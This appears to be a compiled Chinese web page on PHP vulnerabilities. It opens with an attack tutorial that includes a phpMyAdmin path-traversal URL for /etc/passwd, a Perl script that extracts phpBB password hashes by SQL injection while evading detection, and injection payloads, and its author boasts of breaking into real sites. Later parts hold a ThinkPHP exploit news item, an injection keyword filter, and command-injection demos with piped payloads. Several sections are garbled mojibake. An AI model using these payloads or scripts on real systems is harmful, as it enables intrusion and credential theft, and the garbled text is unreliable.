php函数漏洞
1. php页面漏洞分析及相关问题解决
从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权。然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多。在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧。
我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,sql注入漏洞等几种。当然,至于COOKIE欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多。那么,我们就一个一个来分析一下怎样利用这些漏洞吧!
首先,我们来讨论包含文件漏洞。这个漏洞应该说是PHP独有的吧。这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令。我们来看一个例子:假设在a.php中有这样一句代码:
以下是引用片段:
include($include."/xxx.php");
?
在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的。比方说我们提交:a.php?include=
接着,我们再来看一下脚本命令执行漏洞。这是由于对用户提交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的
再然后,我们就来看看文件泄露漏洞了,这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpMyAdmin来做例子。在phpMyAdmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击者提交包含多个'../'字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../../etc/passwd%00 就可以达到文件泄露的目的了。在这方面相对多一点,有:myPHPNuke,McNews等等。
最后,我们又要回到最兴奋的地方了。想想我们平时在asp页面中用SQL注入有多么爽,以前还要手动注入,一直到小竹悟出"SQL注入密笈"(嘿嘿),然后再开做出NBSI以后,我们NB联盟真是拉出一片天空。曾先后帮CSDN,大富翁论坛,中国频道等大型网站找出漏洞。(这些废话不多说了,有点跑题了...)。
还是言规正传,其实在asp中SQL的注入和php中的SQL注入大致相同,只不过稍微注意一下用的几个函数就好了。将asc改成ASCII,len改成LENGTH,其他函数基本不变了。其实大家看到PHP的SQL注入,是不是都会想到PHP-NUKE和PHPBB呢?不错,俗话说树大招分,像动网这样的论坛在asp界就该是漏洞这王了,这并不是说它的论坛安全太差,而是名气太响,别人用的肢山多了历团中,研究的人也就多了,发现的安全漏洞也就越多了。PHPBB也是一样的,现在很大一部分人用PHP做论坛的话,一般都是选择了PHPBB。它的漏洞也是一直在出,从最早 phpBB 1.4.0版本被人发现漏洞,到现在最近的phpBB 2.0.6版本的groupcp.php,,以及之前发现的search.php,profile.php,viewtopic.php等等加起来,大概也有十来个样子吧。这也一直导致,一部分人在研究php漏洞的时候都会拿它做实验品,所谓百练成精嘛,相信以后的PHPBB会越来越好。
好了,我们还是来分析一下漏洞产生的原因吧。拿viewtopic.php页面来说,由于在调用viewtopic.php时,直接从GET请求中获得"topic_id"并传递给SQL查询命令,而并没有进行一些过滤的处理,攻击者可以提交特殊的SQL字符串用于获得MD5密码,获得此密码信息可以用于自动登录或者进行暴力破或氏解。(我想应该不会有人想去暴力破解吧,除非有特别重要的原因)。先看一下相关源代码:
以下是引用片段:
#
if(isset($HTTP_GET_VARS[POST_TOPIC_URL]))
#
{
#
$topic_id=intval($HTTP_GET_VARS[POST_TOPIC_URL]);
#
}
#
elseif(isset($HTTP_GET_VARS['topic']))
#
{
#
$topic_id=intval($HTTP_GET_VARS['topic']);
#
}
从上面我们可以看出,如果提交的view=newest并且sid设置了值的话,执行的查询代码像下面的这个样子(如果你还没看过PHPBB源代码的话,建议你看了再对着这里来看,受影响系统为:phpBB 2.0.5和phpBB 2.0.4)。
以下是引用片段:
#
$sql = "SELECT p.post_id
#
FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s," . USERS_TABLE . " u
#
WHERE s.session_id = '$session_id'
#
AND u.user_id = s.session_user_id
#
AND p.topic_id = $topic_id
#
AND p.post_time = u.user_lastvisit
#
ORDER BY p.post_time ASC
#
LIMIT 1";
Rick提供了下面的这断测试代码:
use IO::Socket;
$remote = shift || 'localhost'
$view_topic = shift ||'/phpBB2/viewtopic.php'
$uid = shift || 2;
$port = 80;
$dBType = 'mysql4'
# mysql4 or pgsql
print "Trying to get password hash for uid $uid server $remote dbtype: $dBType ";
$p = "";
for($index=1; $index=32; $index++)
{
$socket = IO::Socket::INET-new(PeerAddr = $remote,
PeerPort = $port,
Proto = "tcp",
Type = SOCK_STREAM)
or die "Couldnt connect to $remote:$port : $@ ";
$str = "GET $view_topic" . "?sid=1topic_id=-1" .random_encode(make_dbsql()) ."view=newest" . " HTTP/1.0 ";
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1 ";
# replace this for pgsql or remove it
print $socket "Host: $remote ";
while ($answer = $socket)
{
if ($answer =~ /location:.*x23(d+)/)# Matches the location: viewtopic.php?p=
{
$p .= chr ();
}
}
close($socket);
}
print " MD5 Hash for uid $uid is $p ";
# random encode str. helps avoid detection
sub random_encode
{
$str = shift;
$ret = "";
for($i=0; $i
{
$c = substr($str,$i,1);
$j = rand length($str) * 1000;
if (int($j) % 2 || $c eq ' ')
{
$ret .= "%" . sprintf("%x",ord($c));
}
#p#副标题#e#
else
{
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql
{
if ($dBType eq 'mysql4')
{
return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
} elsif ($dBType eq 'pgsql')
{
return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
}
else
{
return "";
}
}
这段代码,我就不多做解释了.作用是获得HASH值.
看到这里,大家可能有点疑问,为什么我前面讲的那些改的函数怎么没有用到,我讲出来不怕大家笑话:其实网上很多站点有些页面的查询语句看起来会是这样:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
不要笑,这是真的,我还靠这个进过几个大型网站.至于哪一些,不好讲出来,不过我们学校的网站,我就是靠这个进后台的,把前面那函数用上吧.不然你只有改人家的密码了哦!!!
差点忘了一点,在SQL注入的时候,PHP与ASP有所不同,mysql对sql语句的运用没有mssql灵活,因此,很多在mssql上可以用的查询语句在mysql中都不能奏效了. 一般我们常见的注入语句像这样:aaa.php?id=a' into outfile 'pass.txt或是aaa.php?id=a' into outfile 'pass.txt' /*再进一步可以改成:aaa.php?id=a' or 1=1 union select id,name,password form users into outfile 'c:/a.txt
这样可以将数据库数据导出为文件,然后可以查看.
或是这样:mode=',user_level=Ɗ
这个语句一般用在修改资料时,假设页面存在漏洞的话,就可以达到提升权限的做用.
其它的如' OR 1=1 -- 或者:1' or 1=Ƈ则跟asp差不多.这里不多讲了.在php里面,SQL注入看来还是漏洞之首啊,有太多的页面存在这个问题了.
其实大家可以看出来,上面那些分类归根结底只有一个原因:提交参数没过滤或是过滤不够严谨.
#p#副标题#e#
2. ThinkPHP开发框架曝安全漏洞,超过4.5万家中文网站受影响
据外媒ZDNet报道,近期有超过4.5万家中文网站被发现容易遭到来自黑客的攻击,而导致这一安全风险出现的根源仅仅是因为一个ThinkPHP漏洞。
报道称,有多家网络安全公司在近期都发现了针对运行着基于ThinkPHP的Web应用程序的服务器的扫描活动。ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,支持Windows/Unix/Linux等服务器环境,以及MySql、PgSQL、Sqlite多种数据库和PDO插件,在国内 Web 开发领域非常受欢迎。
另外,所有这些扫描活动都是在网络安全公司VulnSpy将一个ThinkPHP漏洞的概念验证代码(PoC)发布到ExploitDB网站上之后开始进行的。这里需要说明的是,ExploitDB是一家提供免费托管漏洞利用代码的热门网站。
VulnSpy公司发布的概念验证代码利用了一个存在于ThinkPHP开发框架invokeFunction 函数中的漏洞,以在底层服务器上执行任意代码。值得注意的是,这个漏洞可以被远程利用,且允许攻击者获得对服务器的完全控制权限。
“PoC是在12月11日发布的,我们在不到24小时之后就看到了相关的互联网扫描。” 网络安全公司Bad Packets LLC的联合创始人Troy Mursch告诉ZDNet。
随后,其他四家安全公司——F5 Labs、GreyNoise、NewSky Security和Trend Micro也报道了类似的扫描。并且,这些扫描在接孝侍下来的几天里一直呈上升趋势。
与此同时,开始利用这个ThinkPHP 漏洞来开展攻击活动的黑客组织也在不断增加。到目前为止,被确认的黑客组织至少包括:最初利用该漏洞的攻击者、一个被安全专家命名为“D3c3mb3r”的黑客组织、以及另一个利用该漏洞传播Miori IoT恶意软件的黑客组织。
由Trend Micro检测到的最后一组数据还表明,旨在传播Miori IoT恶意软件的黑客组织似乎想要利用该漏洞来入侵家用路由器和物联网设备的控制面板,因为Miori无法在实际的Linux服务器上正常运行。
此外,从NewSky Security检测到另一组扫描来看,攻击者试图在运行着基于ThinkPHP的Web应用程序的服务器上运行Microsoft Powershell命令。NewSky Security的首席安全研究员Ankit Anubhav告诉ZDNet,“这些Powershell命令看上去有些多余。实际上,攻击者拥有的一些代码完全可以用来检查操作系统的类型,并为不同的Linux服务器运行不同的漏洞利用代码,运行Powershell命令可能只是为了碰碰运气。”
事实上,最大规模扫描的发起者应该是上述被被安全专家命名为“D3c3mb3r”的黑客组织。但这个组织并没有做任何特别的事情。他们没有使用加密货币矿工或其他任何恶意软件来感染服务器。他们只是扫描易受攻击的服务器,然后运行一个基本的“echo hello d3c3mb3r”命令。
Ankit Anubhav告诉ZDNet:“我不确定他们的动机。”
根据Shodan搜索引擎的统计,目前有超过45800台运行着基于ThinkPHP的Web应用程序的服务器可在线访问。其中,有超过40000台托管在中国IP地址上。这主要是由于ThinkPHP的文档仅提供了中文版本,因此不太可能在国外被使用。这也是解释了为什么被认为易遭到攻击的网站大部分都是中文网站。
安全专家认为,随着越来越多的黑客组织了解到这种入侵 Web 服务器的方法,对中文网站的攻击也必然会有所增加。
此外,F5 Labs已经公布了有关这个ThinkPHP 漏洞的技术分析和POC的工作原理,大家可以通过点击这毁郑里进行查看。
本文由 黑客视界 综合网络整理,图片源自网络巧余吵;转载请注明“转自黑客视界”,并附上链接。
3. php涓浜呜В链夊摢浜涘规槗瀵艰嚧婕忔礊镄勫嵄闄╁嚱鏁帮纻
鎴戠煡阆撶殑涓浜涢槻姝㈡纺娲炵殑链夛细瀵硅〃鍗曟暟鎹锅氲繃婊わ纴楠岃瘉銆傛渶濂戒笉瑕佺敤eval鍑芥暟锛岄槻姝php鑴氭湰娉ㄥ叆銆俻hp.ini閰岖疆閲岄溃链変釜瀹夊叏镄勯厤缃缁欐墦寮銆
4. php防sql注入漏洞可以用什么函数
1.函数的构建
function inject_check($sql_str) {
return eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $sql_str); // 进行过滤
}
function verify_id($id=null) {
if (!$id) { exit('没有提交参数!'); } // 是否为空判断
elseif (inject_check($id)) { exit('提交的参数非法!'); } // 注射判断
elseif (!is_numeric($id)) { exit('提交的参数非法!'); } // 数字判断
$id = intval($id); // 整型化
return $id;
}?
function str_check( $str ) {
if (!get_magic_quotes_gpc()) { // 判断magic_quotes_gpc是否打开
$str = addslashes($str); // 进行过滤
}
$str = str_replace("_", "\_", $str); // 把 '_'过滤掉
$str = str_replace("%", "\%", $str); // 把 '%'过滤掉
return $str;
}
function post_check($post) {
if (!get_magic_quotes_gpc()) { // 判断magic_quotes_gpc是否为打开
$post = addslashes($post); // 进行magic_quotes_gpc没有打开的情况对提交数据的过滤
}
$post = str_replace("_", "\_", $post); // 把 '_'过滤掉
$post = str_replace("%", "\%", $post); // 把 '%'过滤掉
$post = nl2br($post); // 回车转换
$post = htmlspecialchars($post); // html标记转换
return $post;
}
2.函数的使用实例
<?php
if (inject_check($_GET['id']))
{
exit('你提交的数据非法,请检查后重新提交!');
}
else
{
$id = $_GET['id'];
//处理数据………………
}
?>
5. 锻戒护镓ц屾纺娲
锻戒护镓ц屾纺娲炵殑鎴愬洜锛
鑴氭湰璇瑷(濡侾HP )浼樼偣鏄绠娲併佹柟渚,浣嗕篃浼撮殢镌涓浜涢梾棰,濡傞熷害鎱銆佹棤娉曟帴瑙︾郴缁熷簳灞,濡傛灉鎴戜滑寮鍙戠殑搴旂敤(鐗瑰埆鏄浼佷笟绾х殑涓浜涘簲鐢)闇瑕-浜涢櫎铡粀eb镄勭壒娈婂姛鑳芥椂,灏遍渶瑕佽皟鐢ㄤ竴浜涘栭儴绋嫔簭銆傚綋搴旂敤闇瑕佽皟鐢ㄤ竴浜涘栭儴绋嫔簭铡诲勭悊鍐呭圭殑𨱍呭喌涓, 灏变细鐢ㄥ埌浜涙墽琛岀郴缁熷懡浠ょ殑鍑芥暟銆傚侾HP涓镄剆ystem銆乪xec. shell exec绛,褰撶敤鎴峰彲浠ユ带鍒跺懡浠ゆ墽琛屽嚱鏁颁腑镄勫弬鏁版椂,灏嗗彲浠ユ敞鍏ユ伓镒忕郴缁熷懡浠ゅ埌姝e父锻戒护涓,阃犳垚锻戒护镓ц屾敾鍑汇
PHP涓璋幂敤澶栭儴绋嫔簭镄勪富瑕佹湁浠ヤ笅鍑芥暟锛
system
exec
shell_exec
passthru
popen
proc_popen
鍏ㄥ眬鎼灭储杩欎簺鍑芥暟锛岃傚疗鏄钖﹀彲浠ユ带鍒躲
锻戒护镓ц屾纺娲炵殑阒插尽锛
鍙鎺х偣涓哄緟镓ц岀殑绋嫔簭
<?php
$arg = $_GET[钬榗md钬橾;
if($arg){
system(钬$arg钬);
}
?>
[if !supportLists]l [endif]/?cmd=id
[if !supportLists]l [endif]/?cmd=pwd
[if !supportLists]l [endif]/?cmd=ifconfig
鍙鎺х偣鏄浼犲叆绋嫔簭镄勬暣涓鍙傛暟锛堟棤寮曞彿鍖呰9锛
<?php
$arg = $_GET[钬榗md钬橾;
if($arg){
system(钬减ing -c 3 $arg钬);
}
?>
鎴戜滑鑳藉熸带鍒剁殑镣规槸绋嫔簭镄勬暣涓鍙傛暟锛屾垜浠鍙浠ョ洿鎺ョ敤&&鎴东绛夌瓑锛屽埄鐢ㄤ笌銆佹垨銆佺¢亾锻戒护𨱒ユ墽琛屽叾浠栧懡浠ゃ
/?cmd=127.0.0.1| ifconfig
鍙鎺х偣鏄镆愪釜鍙傛暟镄勫硷纸链夊弻寮曞彿鍖呰9锛
<?php
$arg = $_GET[钬榗md钬橾;
if($arg){
system(钬渓s -al \钬$arg\钬浓);
}
?>
闂钖埚弻寮曞彿銆
/?cmd=/home钬 | ifconfig;钬
鍙鎺х偣鏄镆愪釜鍙傛暟镄勫硷纸链夊崟寮曞彿鍖呰9锛
<?php
$arg = $_GET[钬榗md钬橾;
if($arg){
system(钬渓s -al 钬$arg钬 钬);
}
?>
鍦ㄥ崟寮曞彿鍐呯殑璇濓纴鍙鏄涓涓瀛楃︿覆锛屽洜姝ゆ兂瑕佹墽琛屽懡浠ゅ繀椤婚棴钖埚崟寮曞彿銆
/cmd?=/home钬 |ifconfig钬
锻戒护镓ц屾纺娲炵殑阒插尽锛
1銆佽兘浣跨敤鑴氭湰瑙e喅镄勫伐浣,涓嶈佽皟鐢ㄥ叾浠栫▼搴忓勭悊銆傚敖閲忓皯鐢ㄦ墽琛屽懡浠ょ殑鍑芥暟,骞跺湪disable functions涓绂佺敤涔嬨
2銆佸逛簬鍙鎺х偣鏄绋嫔簭鍙傛暟镄勬儏鍐碉纴浣跨敤escapeshellcmd鍑芥暟杩涜岃繃婊ゃ
3銆佸逛簬鍙鎺х偣鏄绋嫔簭鍙傛暟镄勫肩殑𨱍呭喌锛屼娇鐢╡scapeshellarg鍑芥暟杩涜岃繃婊ゃ
4銆佸弬鏁扮殑鍊煎敖閲忎娇鐢ㄥ紩鍙峰寘瑁,骞跺湪𨰾兼帴鍓嶈皟鐢╝ddslashes杩涜岃浆涔夈
6. PHP漏洞有哪些
首先和ASP一样,对敏感字符过滤不严会导致注入..
还有PHP很有特点,他得运行程序是很人性化得,如果设置不好,随便提交个有错得地址之类就会告诉你绝对路径之类得敏感信息.
PHP包含过滤不严会导致读取任意文件.
变量过滤不严会导致伪造数据欺骗服务器.
等等等等好多..我说得这些都是比较常见和常用得